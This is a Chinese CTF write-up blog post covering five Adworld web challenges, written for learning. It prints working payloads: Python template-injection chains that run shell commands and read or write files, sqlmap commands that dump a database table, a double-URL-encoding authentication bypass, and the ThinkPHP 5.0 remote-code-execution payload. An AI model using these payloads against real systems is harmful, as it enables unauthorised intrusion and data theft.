zoukankan      html  css  js  c++  java
  • 攻防世界web进阶(一)

    1.PHP_python_template_injection

    1.题目提示python模板注入,测试http://220.249.52.133:47149/{{7+7}},发现回显“URL http://220.249.52.133:47149/14 not found”,说明括号里的代码被执行了,存在SSTI(服务器模板注入)。
    2.访问http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()}}查看所有模块。
    3.os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个。
    4.访问http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}},查看catch_warnings模块都存在的全局函数,可以找到linecache函数,os模块在其中。
    5.访问http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)}},执行ls命令,发现fl4g文件。
    6.访问http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat fl4g%22).read()'%20)}}查看fl4g,得到flag。

    pytho模板注入常用的payload

    ().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read() #读文件
    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') #写文件
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) #执行命令
    python模板注入 https://www.cnblogs.com/tr1ple/p/9415641.html

    2.ics-06

    1.访问页面,发现除了云平台报表中心其他页面都一样,发现报表中的id只能为数字,如果为字母访问跳转到id=1。
    2.使用burp对id进行暴力破解,发现id为2333时,响应包长度不同,获得flag。

    3.newcenter

    看到输入框,可能存在sql注入,用sqlmap跑。
    1.获取注入点
    sqlmap -u http://192.168.100.161:53459 --data "search=df"
    2.获取数据库信息
    sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs
    3.获取库内表信息
    sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
    4.获取表内字段信息
    sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
    5.获取字段内容,得到flag
    sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump

    4.PHP2

    1.查看源码什么都没有,扫目录发现index.php,什么都没有。
    2.访问index.phps,发现源码。

    <?php
    if("admin"===$_GET[id]) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "admin")
    {
      echo "<p>Access granted!</p>";
      echo "<p>Key: xxxxxxx </p>";
    }
    ?>
    
    Can you anthenticate to this website?
    

    3.源码审计
    传入一个id并且id进行url解码以后要等与admin,在浏览器中输入admin时,浏览器会进行第一次解码,所以payload要对admin进行两次urlencode,构造payload http://220.249.52.133:46012/index.php?id=
    %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65,得到flag。

    5.php_rce

    1.访问题目链接,发现网站使用框架为ThinkPHP 5.0,结合题目,猜测网站存在ThinkPHP RCE漏洞,使用index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls作为测试payload,查看网站目录。
    2.访问http://220.249.52.133:39790/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*",获得flag的位置:/flag。
    3.访问http://220.249.52.133:39790/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag得到flag。

    参考链接
    https://adworld.xctf.org.cn/task/writeup?type=web&id=5408&number=3&grade=1&page=1
    https://blog.csdn.net/iamsongyu/article/details/85861811
    https://adworld.xctf.org.cn/task/writeup?type=web&id=4920&number=3&grade=1&page=1
    https://adworld.xctf.org.cn/task/writeup?type=web&id=4686&number=3&grade=1&page=1
    https://adworld.xctf.org.cn/task/writeup?type=web&id=5412&number=3&grade=1&page=1

    2020-8-11 第四周

  • 相关阅读:
    sql性能调优的注意项
    mybatis获取刚插入数据的ID
    mysql
    JQuery
    JS
    css
    web前端
    python爬虫
    socket编程
    python基础
  • 原文地址:https://www.cnblogs.com/4Uuu/p/13479414.html
Copyright © 2011-2022 走看看